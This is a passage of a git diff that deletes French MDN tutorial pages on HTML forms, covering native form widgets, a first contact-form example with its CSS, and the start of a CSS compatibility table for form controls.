Tous les contrôles de sélection de date et heure peuvent être contraints à l'aide des attributs {{htmlattrxref("min","input")}} et {{htmlattrxref("max","input")}}.

- -
    <label for="maDate">Quand êtes vous disponible cet été ?</label>
-    <input type="date" min="2013-06-01" max="2013-08-31" id="maDate">
- -

Attention : Les widgets de date et heure sont encore peu pris en charge. Au moment de la rédaction de cet article, Chrome, Edge et Opera les prennent bien en charge, mais il n'y a pas de prise en charge dans Internet Explorer et Firefox et Safari n'ont qu'une prise en charge lacunaire de ces derniers.

- -

Sélecteur de couleur

- -

Les couleurs sont toujours compliquées à manier. Il existe plusieurs façons de les exprimer : valeurs RGB (décimale ou hexadécimale), valeurs HSL, mots-clés, etc. Les widgets de sélection de couleur permettent aux utilisateurs de sélectionner une couleur dans un contexte textuel et visuel.

- -

Un widget de sélection de couleur se crée avec un élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a pour valeur color.

- -
<input type="color" name="color" id="color">
- -

Attention : la prise en charge du widget color n'est pas très bonne actuellement. Il n'y a aucune prise en charge dans Internet Explorer, ni actuellement dans Safari. Les autres navigateurs majeurs le prennent en charge.

- -

Autres widgets

- -

Il existe d'autres types de widgets qui ne peuvent pas être classés facilement à cause de leur comportement très particulier, mais qui sont toujours très utiles.

- -
-

Note : Vous trouverez les exemples de cette section sur GitHub à l'adresse other-examples.html (à voir aussi directement).

-
- -

Sélection de fichier

- -

Les formulaires HTML permettent d'envoyer des fichiers à un serveur. Cette action spécifique est détaillée dans l'article  « Envoi et extraction des données de formulaire ». Le widget de sélection de fichier permet à l'utilisateur de choisir un ou plusieurs fichiers à envoyer.

- -

Pour créer un widget de sélection de fichier, vous devez utiliser un élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a pour valeur file. Les types de fichiers acceptés peuvent être contraints en utilisant l'attribut {{htmlattrxref("accept","input")}}. De plus, si vous souhaitez permettre à l'utilisateur de choisir plusieurs fichiers, vous pouvez le faire en ajoutant l'attribut {{htmlattrxref("multiple","input")}}.

- -

Exemple

- -

Dans cet exemple, le widget de sélection de fichiers permet de sélectionner des fichiers d'images. L'utilisateur peut sélectionner plusieurs fichiers.

- -
<input type="file" name="file" id="file" accept="image/*" multiple>
- -

Contenu caché

- -

Il est parfois pratique pour des raisons techniques d'avoir des morceaux d'informations qui soient envoyés au serveur sans être montrées à l'utilisateur. Pour ce faire, vous pouvez ajouter un élément invisible dans votre formulaire. Cela est possible en utilisant un élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a pour valeur hidden.

- -

Si vous créez un tel élément, il est obligatoire de définir ses attributs name et value :

- -
    <input type="hidden" id="timestamp" name="timestamp" value="1286705410">
- -

Image-bouton

- -

Le contrôle image-bouton est affiché comme un élément {{HTMLElement("img")}}, à la différence que lorsque l'utilisateur clique dessus, il se comporte comme un bouton d'envoi (voir ci-dessus).

- -

Une image-bouton se crée avec un élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a pour valeur image. Cet élément accepte exactement le même ensemble d'attributs que l'élément {{HTMLElement("img")}}, en plus de tous les attributs valides pour n'importe quel bouton de formulaire.

- -
    <input type="image" alt="Click me!" src="my-img.png" width="80" height="30" />
- -

Si l'image-bouton est utilisée pour envoyer un formulaire, ce widget n'envoie pas sa valeur mais les coordonnées X et Y du clic sur l'image (les coordonnées sont relatives à l'image, ce qui veut dire que le coin supérieur gauche représente les coordonnées 0, 0). Les coordonnées sont envoyées sous la forme de deux paires de clé/valeur :

- -
    -
  • la valeur X est la valeur de l'attribut {{htmlattrxref("name","input")}} suivie de la chaîne « .x »
    • -
  • la valeur Y est la valeur de l'attribut {{htmlattrxref("name","input")}} suivie de la chaîne « .y ».
    • -
- -

Lorsque vous cliquez sur l'image dans ce formulaire, vous êtes redirigés une URL du type suivant :

- -
    http://foo.com?pos.x=123&pos.y=456
- -

C'est une façon très commode de construire une « hot map » (cartographie des parties d'une page Internet le plus souvent balayées par le regard des lecteurs). La manière d'envoyer et d'extraire ces valeurs est détaillée dans l'article « Envoi des données de formulaire ».

- -

Compteurs et barres de progression

- -

Les compteurs et barres de progressions sont des représentations visuelles de valeurs numériques.

- -

Progress

- -

Une barre de progression représente une valeur qui évolue dans le temps jusqu'à une valeur maximale définie par l'attribut {{htmlattrxref("max","progress")}}. Une telle barre peut être créée grace à un élément {{ HTMLElement("progress")}}.

- -
    <progress max="100" value="75">75/100</progress>
- -

Cela sert à mettre en œuvre visuellement un rapport d'avancement, comme le pourcentage du nombre total de fichiers téléchargés ou le nombre de questions posées dans un questionnaire.

- -

Le contenu dans l'élément {{HTMLElement("progress")}} est un affichage informatif de repli pour les navigateurs ne prenant pas en charge cet élément ;  les technologies d'assistance vocalisent ce contenu.

- -

Meter

- -

Un étalon est une valeur fixe dans une plage délimitée par une valeur minimale {{htmlattrxref("min","meter")}} et une valeur maximale {{htmlattrxref("max","meter")}}. Cette valeur est affichée dans une barre, et pour savoir à quoi cette barre ressemble, nous comparons certaines valeurs :

- -
    -
  • les valeurs {{htmlattrxref("low","meter")}} et {{htmlattrxref("high","meter")}} divisent l'intervalle en trois parties : -
      -
    • la partie basse de l'intervalle est comprise entre les valeurs {{htmlattrxref("min","meter")}} et {{htmlattrxref("low","meter")}} (les deux valeurs sont incluses)
      • -
    • la partie médiane de l'intervalle est comprise entre les valeurs {{htmlattrxref("low","meter")}} et {{htmlattrxref("high","meter")}} (les deux valeurs sont exclues)
      • -
    • la partie haute de l'intervalle est comprise entre les valeurs {{htmlattrxref("high","meter")}} et {{htmlattrxref("max","meter")}} (les deux valeurs sont incluses)
      • -
    -
    • -
  • La valeur {{htmlattrxref("optimum","meter")}} définit la valeur optimale pour l'élément {{HTMLElement("meter")}}. En conjonction avec les valeurs {{htmlattrxref("low","meter")}} et {{htmlattrxref("high","meter")}}, elle définit quelle partie de la plage est préféré : -
      -
    • Si la valeur {{htmlattrxref("optimum","meter")}} est dans la partie basse de l'intervalle, la partie basse est considérée comme la partie préférée, la partie médiane est considérée comme la partie moyenne et la partie haute comme la moins favorable.
      • -
    • Si la valeur {{htmlattrxref("optimum","meter")}} est dans la partie médiane, la partie basse est considérée comme la partie moyenne, la partie médiane comme la partie préférée et la partie haute comme moyenne également.
      • -
    • Si la valeur {{htmlattrxref("optimum","meter")}} est dans la partie haute, la partie basse est considérée comme la moins favorable, la partie médiane comme moyenne et la partie haute comme la partie préférée.
      • -
    -
    • -
- -

Tous les navigateurs compatibles avec l'élément {{HTMLElement("meter")}} utilisent ces valeurs pour modifier la couleur de la barre :

- -
    -
  • Si la valeur actuelle est dans la partie préférée, la barre est verte.
    • -
  • Si la valeur actuelle est dans la partie moyenne, la barre est jaune.
    • -
  • Si la valeut actuelle est dans la partie la moins favorable, la barre est rouge.
    • -
- -

Une telle barre se crée avec un élément {{HTMLElement("meter")}}. Cela permet d'implémenter toute sorte d'étalonnage, par exemple une barre montrant l'espace total utilisé sur un disque, qui devient rouge si le disque commence à être plein.

- -
<meter min="0" max="100" value="75" low="33" high="66" optimum="50">75</meter>
- -

Le contenu de l'élément {{HTMLElement("meter")}} est un affichage informatif de repli pour les navigateurs ne prenant pas en charge cet élément ; les technologies d'assistance vocalisent cet affichage.

- -

La prise en charge de progress et meter est vraiment bonne — il n'y a pas de prise en charge dans Internet Explorer, mais les autres navigateurs l'acceptent bien.

- -

Conclusion

- -

Comme nous venons de le voir, il y a pas mal d'éléments de formulaire différents disponibles  — il n'est pas nécessaire de mémoriser l'ensemble de ces détails dès maintenant, mais vous pourrez revenir à cet article tant que vous le voudrez pour revoir tel ou tel détail.

- -

Voir également

- -

Pour entrer plus en détails des différents widgets de formulaires, voici quelques ressources externes très utiles que vous pouvez visiter :

- - - -

{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML", "Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires", "Web/Guide/HTML/Formulaires")}}

- -

Dans ce module

- - diff --git a/files/fr/web/guide/html/formulaires/mon_premier_formulaire_html/exemple/index.html b/files/fr/web/guide/html/formulaires/mon_premier_formulaire_html/exemple/index.html deleted file mode 100644 index 3f25e6d644..0000000000 --- a/files/fr/web/guide/html/formulaires/mon_premier_formulaire_html/exemple/index.html +++ /dev/null @@ -1,104 +0,0 @@ ---- -title: Exemple -slug: Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML/Exemple -translation_of: Learn/Forms/Your_first_form/Example ---- -

Ceci est l'exemple pour l'article Mon premier formulaire HTML.

- -

Un formulaire simple

- -

Contenu HTML

- -
<form action="http://www.cs.tut.fi/cgi-bin/run/~jkorpela/echo.cgi" method="post">
-  <div>
-    <label for="nom">Nom :</label>
-    <input type="text" id="nom" name="user_name">
-  </div>
-
-  <div>
-    <label for="courriel">Courriel :</label>
-    <input type="email" id="courriel" name="user_email">
-  </div>
-
-  <div>
-    <label for="message">Message :</label>
-    <textarea id="message" name="user_message"></textarea>
-  </div>
-
-  <div class="button">
-    <button type="submit">Envoyer le message</button>
-  </div>
-</form>
- -

Contenu CSS

- -
form {
-  /* Pour le centrer dans la page */
-  margin: 0 auto;
-  width: 400px;
-
-  /* Pour voir les limites du formulaire */
-  padding: 1em;
-  border: 1px solid #CCC;
-  border-radius: 1em;
-}
-
-div + div {
-  margin-top: 1em;
-}
-
-label {
-  /* Afin de s'assurer que toutes les étiquettes aient la même dimension et soient alignées correctement */
-  display: inline-block;
-  width: 90px;
-  text-align: right;
-}
-
-input, textarea {
-  /* Afin de s'assurer que tous les champs textuels utilisent la même police
-     Par défaut, textarea utilise une police à espacement constant */
-  font: 1em sans-serif;
-
-  /* Pour donner la même dimension à tous les champs textuels */
-  width: 300px;
-
-  -moz-box-sizing: border-box;
-       box-sizing: border-box;
-
-  /* Pour harmoniser l'apparence des bordures des champs textuels */
-  border: 1px solid #999;
-}
-
-input:focus, textarea:focus {
-  /* Afin de réhausser les éléments actifs */
-  border-color: #000;
-}
-
-textarea {
-  /* Pour aligner correctement les champs multilignes et leurs étiquettes */
-  vertical-align: top;
-
-  /* Pour donner assez d'espace pour entrer du texte */
-  height: 5em;
-
-  /* Pour permettre aux utilisateurs de redimensionner un champ textuel horizontalement
-     Cela ne marche pas avec tous les navigateurs  */
-  resize: vertical;
-}
-
-.button {
-  /* Pour positionner les boutons de la même manière que les champs textuels */
-  padding-left: 90px; /* même dimension que les étiquettes */
-}
-
-button {
-  /* Cette marge représente approximativement le même espace
-     que celui entre les étiquettes et les champs textuels */
-  margin-left: .5em;
-}
- -

Résultat

- -

{{ EmbedLiveSample('Un_formulaire_simple', '100%', '280') }}

- -

 

diff --git a/files/fr/web/guide/html/formulaires/mon_premier_formulaire_html/index.html b/files/fr/web/guide/html/formulaires/mon_premier_formulaire_html/index.html deleted file mode 100644 index 8f082f6d81..0000000000 --- a/files/fr/web/guide/html/formulaires/mon_premier_formulaire_html/index.html +++ /dev/null @@ -1,281 +0,0 @@ ---- -title: Mon premier formulaire HTML -slug: Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML -tags: - - Apprentissage - - Codage - - Débutant - - Exemple - - Formulaires - - Guide - - HTML - - Web -translation_of: Learn/Forms/Your_first_form ---- -

{{LearnSidebar}}{{NextMenu("Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML", "Web/Guide/HTML/Formulaires")}}

- -

Le premier article de notre série vous offre une toute première expérience de création de formulaire en HTML, y compris sa conception, sa mise en œuvre en utilisant les bons éléments HTML, l'ajout de quelques très simples décorations avec les CSS et la façon dont les données sont envoyées à un serveur.

- - - - - - - - - - - - -
Prérequis :Notions concernant les ordinateurs et les connaissances de base du HTML.
Objectif :Comprendre ce que sont les formulaires HTML, à quoi ils servent, comment les concevoir et quels sont les éléments de base HTML nécessaires dans les cas simples.
- -

Un formulaire HTML, qu'est-ce ?

- -

Les formulaires HTML sont un des vecteurs principaux d'interaction entre un utilisateur et un site web ou une application. Ils permettent à l'utilisateur d'envoyer des données au site web. La plupart du temps, ces données sont envoyées à des serveurs web mais la page peut aussi les intercepter et les utiliser elle-même.

- -

Un formulaire HTML est composé d'un ou plusieurs widgets. Ceux-ci peuvent être des zones de texte (sur une seule ligne ou plusieurs lignes), des boîtes à sélection, des boutons, des cases à cocher ou des boutons radio. La plupart du temps, ces items sont associés à un libellé qui décrit leur rôle — des étiquettes correctement implémentées sont susceptibles d'informer clairement l'utilisateur normal ou mal‑voyant sur ce qu'il convient d'entrer dans le formulaire.

- -

La principale différence entre un formulaire HTML et un document HTML habituel réside dans le fait que, généralement, les données collectées par le formulaire sont envoyées vers un serveur web. Dans ce cas, vous avez besoin de mettre en place un serveur web pour récupérer ces données et les traiter. La mise en place d'un tel serveur ne fait pas partie des sujets abordés dans ce guide. Si vous souhaitez toutefois en savoir plus, voyez « Envoi des données de formulaire » plus loin dans ce module.

- -

Concevoir le formulaire

- -

Avant de passer au code, il est souhaitable de prendre un peu de recul et accorder quelques instants de réflexion à votre formulaire. Dessiner un rapide croquis vous permettra de définir les informations que vous souhaitez demander à l'utilisateur. Du point de vue de l'expérience utilisateur, il est important de garder à l'esprit que plus vous demandez d'informations, plus vous risquez que votre utilisateur s'en aille. Restez simple et ne perdez pas votre objectif de vue : ne demandez que ce dont vous avez absolument besoin. La conception de formulaires est une phase importante de la construction d'un site internet ou d'une application. L'approche de l'expérience utilisateur de ces formulaires ne fait pas partie des objectifs de ce guide, mais si vous souhaitez approfondir ce sujet, vous pouvez lire les articles suivants :

- - - -

Dans ce guide, nous allons concevoir un formulaire de contact simple. Posons les premières pierres.

- -

Le croquis du formulaire que l'on veut créer

- -

Notre formulaire contiendra trois champs de texte et un bouton. Nous demandons simplement à notre utilisateur son nom, son adresse électronique et le message qu'il souhaite envoyer. En appuyant sur le bouton, le message sera envoyé au serveur web.

- -

 Apprentissage actif : mise en œuvre de notre formulaire HTML

- -

Très bien, nous sommes maintenant prêts à passer au HTML et à coder notre formulaire. Pour construire notre formulaire, nous aurons besoin des éléments HTML suivants : {{HTMLElement("form")}}, {{HTMLElement("label")}}, {{HTMLElement("input")}}, {{HTMLElement("textarea")}} et {{HTMLElement("button")}}.

- -

Avant de poursuivre, faites une copie locale de notre simple modèle HTML — vous y incorporerez votre formulaire.

- -

L'élément {{HTMLElement("form")}}

- -

Tous les formulaires HTML débutent par un élément {{HTMLElement("form")}} comme celui-ci :

- -
<form action="/my-handling-form-page" method="post">
-
-</form>
- -

Cet élément définit un formulaire. C'est un élément conteneur au même titre que les éléments {{HTMLElement("div")}} ou {{HTMLElement("p")}}, mais il accepte aussi quelques attributs spécifiques afin de contrôler la manière dont il se comporte. Tous ses attributs sont optionnels mais définir au moins les attributs action et method est considéré comme de bonne pratique.

- -
    -
  • L'attribut action définit l'emplacement (une URL) où doivent être envoyées les données collectées par le formulaire.
    • -
  • L'attribut method définit la méthode HTTP utilisée pour envoyer les données (cela peut être « get » ou « post »).
    • -
- -
-

Note : Si vous souhaitez en savoir plus sur le fonctionnement de ces attributs, cela est détaillé dans l'article « Envoi des données de formulaire ».

-
- -

Pour le moment, ajoutez l'élément {{htmlelement("form")}} ci dessus dans le corps de votre HTML.

- -

Les éléments {{HTMLElement("label")}}, {{HTMLElement("input")}} et {{HTMLElement("textarea")}}

- -

Notre formulaire de contact est très simple et ne contient que trois champs de texte, chacun ayant une étiquette. Le champ d'entrée pour le nom est un champ de texte sur une seule ligne, le champ pour l'adresse électronique est un champ de texte sur une ligne qui n'accepte que des adresses électroniques et enfin le champ pour le message est un champ de texte sur plusieurs lignes.

- -

En terme de code HTML, nous avons besoin de quelque chose qui ressemble à ceci pour mettre en œuvre nos widgets de formulaire.

- -
<form action="/ma-page-de-traitement" method="post">
-    <div>
-        <label for="name">Nom :</label>
-        <input type="text" id="name" name="user_name">
-    </div>
-    <div>
-        <label for="mail">e-mail :</label>
-        <input type="email" id="mail" name="user_mail">
-    </div>
-    <div>
-        <label for="msg">Message :</label>
-        <textarea id="msg" name="user_message"></textarea>
-    </div>
-</form>
- -

Les éléments {{HTMLElement("div")}} sont ici pour structurer notre code et rendre la mise en page plus facile (voir ci-dessous). Veuillez noter l'utilisation de l'attribut for sur tous les éléments {{HTMLElement("label")}}. C'est une manière formelle de lier un libellé à un élément du formulaire. Cet attribut fait référence à l'id de l'élément correspondant. Il y a plusieurs avantages à faire ainsi. Le plus évident de permettre à l'utilisateur de cliquer sur l'étiquette pour activer le bloc correspondant. Si vous souhaitez mieux comprendre les bénéfices de cet attribut, tout est détaillé dans cet article : Comment structurer un formulaire HTML.

- -

Concernant l'élément {{HTMLElement("input")}}, l'attribut le plus important est l'attribut type. Ce dernier est extrêmement important puisqu'il définit le comportement de l'élément {{HTMLElement("input")}}. Il peut radicalement changer le sens de l'élément, faites-y attention. Si vous voulez en savoir plus à ce propos, vous pouvez lire l'article au sujet des widgets natifs pour formulaire.

- -
    -
  • Dans notre exemple nous n'utilisons que la valeur text — qui est la valeur par défaut de cet attribut et représente un champ de texte basique sur une seule ligne acceptant n'importe quel type de texte.
    • -
  • Pour la deuxième entrée, nous utilisons la valeur email qui définit un champ de texte sur une seule ligne n'acceptant que des adresses électroniques valides. Cette dernière valeur transforme un champ basique en une sorte de champ « intelligent » qui réalise des vérifications sur les données fournies par l'utilisateur. Vous trouverez plus de détails sur la validation des formulaires dans l'article Validation des données de formulaire.
    • -
- -

Last but not least, remarquez la syntaxe de <input> vs <textarea></textarea>. C'est une des bizarreries du HTML. La balise <input> est un élément vide, ce qui signifie qu'il n'a pas besoin de balise fermante. Au contraire, {{HTMLElement("textarea")}} n'est pas un élément vide, il faut donc le fermer avec la balise fermante appropriée. Cela a un effet sur une caractéristique spécifique des formulaires HTML : la manière dont vous définissez la valeur par défaut. Pour définir une valeur par défaut d'un élément {{HTMLElement("input")}} vous devez utiliser l'attribut value de la manière suivante :

- -
<input type="text" value="par défaut cet élément sera renseigné avec ce texte">
- -

A contrario, si vous souhaitez définir la valeur par défaut d'un élément {{HTMLElement("textarea")}}, il suffit simplement de mettre la valeur par défaut entre les balises ouvrantes et fermantes de l'élément {{HTMLElement("textarea")}} de la manière suivante :

- -
<textarea>par défaut cet élément sera renseigné avec ce texte</textarea>
- -

L'élément {{HTMLElement("button")}}

- -

Notre formulaire est presque terminé. Il nous suffit seulement d'ajouter un bouton pour permettre à l'utilisateur de nous envoyer les données renseignées dans le formulaire. Ceci se fait simplement en ajoutant d'un élément {{HTMLElement("button")}} ; ajoutez‑le juste avant la balise fermante </form> :

- -
    <div class="button">
-        <button type="submit">Envoyer le message</button>
-    </div>
-
- -

Comme vous le voyez l'élément {{htmlelement("button")}} accepte aussi un attribut de type — il peut prendre une des trois valeurs : submit, reset ou button.

- -
    -
  • Un clic sur un bouton submit (valeur par défaut) envoie les données du formulaire vers la page définie par l'attribut action de l'élément {{HTMLElement("form")}}.
    • -
  • Un clic sur un bouton reset réinitialise tous les widgets du formulaire à leurs valeurs par défaut immédiatement. Du point de vue de l'expérience utilisateur, utiliser un tel bouton est une mauvaise pratique.
    • -
  • Un clic sur un bouton button ne fait... rien ! Cela peut paraître stupide mais c'est en réalité très pratique pour concevoir des boutons personnalisés avec JavaScript.
    • -
- -
-

Note : Vous pouvez aussi utiliser l'élément {{HTMLElement("input")}} avec le type approprié pour produire un bouton, par exemple <input type="submit">. Le principal avantage de {{HTMLElement("button")}} par rapport à l'élément {{HTMLElement("input")}} est que ce dernier ne permet d'utiliser que du texte comme étiquette tandis que l'élément {{HTMLElement("button")}} permet d'utiliser n'importe quel contenu HTML, autorisant ainsi des textes de bouton plus complexes et créatifs.

-
- -

Mise en page élémentaire du formulaire

- -

Nous avons désormais notre formulaire HTML, et si vous le regardez dans votre navigateur préféré, vous verrez qu'il est plutôt laid.

- -

- -
-

Note : Si vous pensez que vous n'avez pas écrit un code HTML correct, faites la comparaison avec celui de notre exemple terminé — voyez  first-form.html ( ou également directement).

-
- -

Les formulaires sont notoirement embêtants à présenter joliment. Apprendre la mise en page ou la décoration des formulaires sort du cadre de cet article, donc pour le moment nous allons simplement ajouter quelques indications au CSS pour lui donner un air convenable.

- -

Tout d'abord, ajoutons un élément {{htmlelement("style")}} à notre page, dans l'en‑tête HTML. Comme ceci :

- -
<style>
-
-</style>
- -

Entre les balises style, ajoutons le CSS suivant, juste comme indiqué :

- -
form {
-  /* Uniquement centrer le formulaire sur la page */
-  margin: 0 auto;
-  width: 400px;
-  /* Encadré pour voir les limites du formulaire */
-  padding: 1em;
-  border: 1px solid #CCC;
-  border-radius: 1em;
-}
-
-form div + div {
-  margin-top: 1em;
-}
-
-label {
-  /* Pour être sûrs que toutes les étiquettes ont même taille et sont correctement alignées */
-  display: inline-block;
-  width: 90px;
-  text-align: right;
-}
-
-input, textarea {
-  /* Pour s'assurer que tous les champs texte ont la même police.
-     Par défaut, les textarea ont une police monospace */
-  font: 1em sans-serif;
-
-  /* Pour que tous les champs texte aient la même dimension */
-  width: 300px;
-  box-sizing: border-box;
-
-  /* Pour harmoniser le look & feel des bordures des champs texte */
-  border: 1px solid #999;
-}
-
-input:focus, textarea:focus {
-  /* Pour souligner légèrement les éléments actifs */
-  border-color: #000;
-}
-
-textarea {
-  /* Pour aligner les champs texte multi‑ligne avec leur étiquette */
-  vertical-align: top;
-
-  /* Pour donner assez de place pour écrire du texte */
-  height: 5em;
-}
-
-.button {
-  /* Pour placer le bouton à la même position que les champs texte */
-  padding-left: 90px; /* même taille que les étiquettes */
-}
-
-button {
-  /* Cette marge supplémentaire représente grosso modo le même espace que celui
-     entre les étiquettes et les champs texte */
-  margin-left: .5em;
-}
- -

Désormais notre formulaire a une bien meilleure allure.

- -

- -
-

Note : Il est sur GitHub dans first-form-styled.html (à voir aussi directement).

-
- -

Envoyer les données au serveur Web

- -

Finalement, gérer les données du formulaire côté serveur web est peut être le plus compliqué. Comme dit auparavant, un formulaire HTML est une manière pratique de demander de l'information à un utilisateur et de les adresser à un serveur web.

- -

L'élément {{HTMLElement("form")}} définit où et comment les données sont envoyées, merci aux attributs action et method.

- -

Mais ce n'est pas tout. Nous avons aussi besoin de donner un nom à nos données. Ces noms sont importants pour deux raisons. Du côté du navigateur, cela sert à définir le nom de chaque élément de donnée. Du côté du serveur, chaque information doit avoir un nom pour être manipulée correctement.

- -

Pour nommer vos données vous devez utiliser l'attribut name pour identifier bien précisément l'élément d'information collecté par chacun des widgets. Regardons à nouveau le code de notre formulaire :

- -
form action="/my-handling-form-page" method="post">
-  <div>
-    <label for="name">Nom :</label>
-    <input type="text" id="name" name="user_name" />
-  <div>
-  <div>
-    <label for="mail">E-mail :</label>
-    <input type="email" id="mail" name="user_email" />
-  </div>
-  <div>
-    <label for="msg">Message:</label>
-    <textarea id="msg" name="user_message"></textarea>
-  </div>
-
-  ...
- -

Dans notre exemple, le formulaire enverra trois informations nommées respectivement « user_name », « user_email » et « user_message ». Ces informations seront envoyées à l'URL « /my-handling-form-page » avec la méthode HTTP POST.

- -

Du côté du serveur, le script à l'URL « /my-handling-form-page » recevra les données sous forme d'une liste de trois éléments clé/valeur intégrés à la requête HTTP. À vous de définir comment ce script va manipuler les données. Chacun des langages serveurs (PHP, Python, Ruby, Java, C#, etc.) a son propre mécanisme pour traiter ces données. Il n'appartient pas à ce guide d'approfondir ce sujet, mais si vous souhaitez en savoir plus, nous avons mis quelques exemples dans l'article Envoi des données de formulaire.

- -

Résumé

- -

Félicitations ! Vous avez construit votre premier formulaire HTML. Il ressemble à ceci :

- -

{{EmbedLiveSample("Un_formulaire_simple", "100%", "240", "", "Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML/Exemple")}}

- -

Toutefois, ce n'est qu'un début — il est désormais temps de regarder plus en détail. Les formulaires HTML sont bien plus puissants que ce que vous avez pu voir ici et les autres articles de ce guide vous aiderons à maîtriser le reste.

- -

{{NextMenu("Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML", "Web/Guide/HTML/Formulaires")}}

- -

Dans ce module

- - diff --git a/files/fr/web/guide/html/formulaires/property_compatibility_table_for_form_widgets/index.html b/files/fr/web/guide/html/formulaires/property_compatibility_table_for_form_widgets/index.html deleted file mode 100644 index eacb5640ef..0000000000 --- a/files/fr/web/guide/html/formulaires/property_compatibility_table_for_form_widgets/index.html +++ /dev/null @@ -1,1991 +0,0 @@ ---- -title: Table de compatibilité des propriétés pour les widgets de formulaire -slug: Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets -tags: - - Avancé - - CSS - - Formulaires - - Guide - - HTML - - Indésirables - - Mises à jour - - Web -translation_of: Learn/Forms/Property_compatibility_table_for_form_controls ---- -
{{learnsidebar}}{{PreviousMenu("Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms", "Web/Guide/HTML/Formulaires")}}
- -

Les tables de compatibilité suivantes tentent de résumer l'état de la prise en charge des CSS par les formulaires HTML. Eu égard à la complexité des CSS et des formulaires HTML, ces tables ne peuvent pas être considérées comme un élément de référence parfait. Toutefois, elles vous donneront un bon aperçu de ce qui peut et de ce qui ne peut pas être fait, ce qui vous aidera à apprendre comment faire les choses.

- -

Comment lire les tables

- -

Valeurs

- -

Pour chaque propriété, il y a quatre valeurs possibles :

- -
-
OUI
-
La prise en charge de la propriété est raisonnablement cohérente d'un navigateur à l'autre. Il se peut que vous soyez encore confronté à des effets collatéraux étranges dans certains cas limites.
-
PARTIEL
-
Bien que la propriété soit acceptée, vous pouvez fréquemment être confronté à des effets collatéraux bizarres ou à des incohérences. Vous devriez probablement éviter ces propriétés si vous n'avez pas d'abord maîtrisé ces effets secondaires.
-
NON
-
La propriété ne fonctionne tout simplement pas ou est si incohérente qu'elle n'est pas fiable.
-
N.A.
-
La propriété n'a aucune signification pour ce type de widget.
-
- -

Rendu

- -

Pour chaque propriété il y a deux rendus possibles :

- -
-
N (Normal)
-
Indique que la propriété est appliquée telle quelle.
-
A (Altéré)
-
Indique que la propriété est appliquée avec la règle supplémentaire ci-dessous :
-
- -
* {
-/* Ceci désactive l'aspect et le comportement natif des navigateurs basés sur WebKit. */
-  -webkit-appearance: none;
-
-/* Ceci désactive l'aspect et le comportement natif des navigateurs basés sur Gecko. */
-  -moz-appearance: none;
-
-/* Ceci désactive l'aspect et le comportement natif sur plusieurs divers navigateurs
-   y compris Opera, Internet Explorer et Firefox */
-  background: none;
-}
- -

Tables de compatibilité

- -

Comportements globaux

- -

Certains comportements sont communs à de nombreux navigateurs au niveau global :

- -
-
{{cssxref("border")}}, {{cssxref("background")}}, {{cssxref("border-radius")}}, {{cssxref("height")}}
-
L'utilisation de l'une de ces propriétés peut désactiver partiellement ou totalement l'aspect natif des widgets sur certains navigateurs. Prudence lorsque vous les utilisez.
-
{{cssxref("line-height")}}
-
Cette propriété est prise en charge de manière non cohérente d'un navigateur à l'autre et vous devriez l'éviter.
-
{{cssxref("text-decoration")}}
-
Cette propriété n'est pas prise en charge par Opera sur les widgets de formulaire.
-
{{cssxref("text-overflow")}}
-
Opera, Safari et IE9 ne prennent pas en charge cette propriété sur les widgets de formulaire.
-
{{cssxref("text-shadow")}}
-
Opera ne prend pas en charge {{cssxref("text-shadow")}} sur les widgets de formulaire et IE9 ne le prend pas du tout en charge.
-
- -

Champs texte

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropriétéNANote
Modèle de boîte CSS
{{cssxref("width")}}OuiOui 
{{cssxref("height")}}Partiel[1][2]Oui -
    -
  1. Les navigateurs WebKit (principalement sur Mac OSX et iOS) utilisent apparence et comportement natifs pour les champs de recherche. Par conséquent, il est nécessaire d'utiliser -webkit-appearance:none pour pouvoir appliquer cette propriété aux champs de recherche.
    2. -
  2. Sous Windows 7, Internet Explorer 9 n'applique pas la bordure à moins que background:none ne soit utilisé.
    3. -
-
{{cssxref("border")}}Partiel[1][2]Oui -
    -
  1. Les navigateurs WebKit (principalement sur Mac OSX et iOS) utilisent apparence et comportement natifs pour les champs de recherche. Par conséquent, il est nécessaire d'utiliser -webkit-appearance:none pour pouvoir appliquer cette propriété aux champs de recherche.
    2. -
  2. Sous Windows 7, Internet Explorer 9 n'applique pas la bordure à moins que background:none ne soit utilisé.
    3. -
-
{{cssxref("margin")}}OuiOui 
{{cssxref("padding")}}Partiel[1][2]Oui -
    -
  1. Les navigateurs WebKit (principalement sur Mac OSX et iOS) utilisent apparence et comportement natifs pour les champs de recherche. Par conséquent, il est nécessaire d'utiliser -webkit-appearance:none pour pouvoir appliquer cette propriété aux champs de recherche.
    2. -
  2. Sous Windows 7, Internet Explorer 9 n'applique pas la bordure à moins que background:none ne soit utilisé.
    3. -
-
Texte et polices
{{cssxref("color")}}[1]OuiOui -
    -
  1. Si la propriété {{cssxref("border-color")}} n'est pas mentionnée, certains navigateurs fondés sur WebKit appliqueront la propriété {{cssxref("color")}} aussi bien à la bordure qu'à la police avec l'élément {{HTMLElement("textarea")}}.
    2. -
-
{{cssxref("font")}}OuiOuiVoir la note à propos de {{cssxref("line-height")}}
{{cssxref("letter-spacing")}}OuiOui 
{{cssxref("text-align")}}OuiOui 
{{cssxref("text-decoration")}}PartielPartielVoir la note à propos de Opera
{{cssxref("text-indent")}}Partiel[1]Partiel[1] -
    -
  1. IE9 prend en charge cette propriété uniquement sur les éléments {{HTMLElement("textarea")}}, alors que Opera ne la prend en charge que sur les champs texte sur une ligne.
    2. -
-
{{cssxref("text-overflow")}}PartielPartiel 
{{cssxref("text-shadow")}}PartielPartiel 
{{cssxref("text-transform")}}OuiOui 
Bordure et arrière-plan
